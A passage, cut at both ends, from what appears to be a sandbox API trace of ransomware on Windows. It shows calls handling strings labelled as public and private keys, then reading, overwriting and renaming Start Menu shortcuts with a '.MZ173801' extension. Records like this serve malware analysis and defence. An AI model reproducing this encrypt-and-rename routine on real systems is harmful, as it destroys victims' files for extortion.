vMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0212.710] GetCurrentThreadId () returned 0xab4 [0212.710] GetCurrentThreadId () returned 0xab4 [0212.710] GetCurrentThreadId () returned 0xab4 [0212.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.711] GetCurrentThreadId () returned 0xab4 [0212.711] GetCurrentThreadId () returned 0xab4 [0212.711] GetCurrentThreadId () returned 0xab4 [0212.711] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.711] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.711] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.711] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x48c [0212.711] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.711] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x48c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x48c, lpOverlapped=0x0) returned 1 [0212.750] CloseHandle (hObject=0x330) returned 1 [0212.750] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.751] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x48c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x48c, lpOverlapped=0x0) returned 1 [0212.752] CloseHandle (hObject=0x330) returned 1 [0212.752] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Quick Assist.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\quick assist.lnk.mz173801")) returned 1 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] GetCurrentThreadId () returned 0xab4 [0212.753] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c555e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67c555e4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x67c555e4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="")) returned 1 [0212.753] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.753] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.753] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c555e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67c555e4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x67c555e4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bf)) returned 1 [0212.753] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk")) returned 0x20 [0212.754] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk", dwFileAttributes=0x80) returned 1 [0212.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.756] GetCurrentThreadId () returned 0xab4 [0212.756] GetCurrentThreadId () returned 0xab4 [0212.756] GetCurrentThreadId () returned 0xab4 [0212.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.757] GetCurrentThreadId () returned 0xab4 [0212.757] GetCurrentThreadId () returned 0xab4 [0212.757] GetCurrentThreadId () returned 0xab4 [0212.757] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.757] SetFilePointer (in: hFile=0x330, 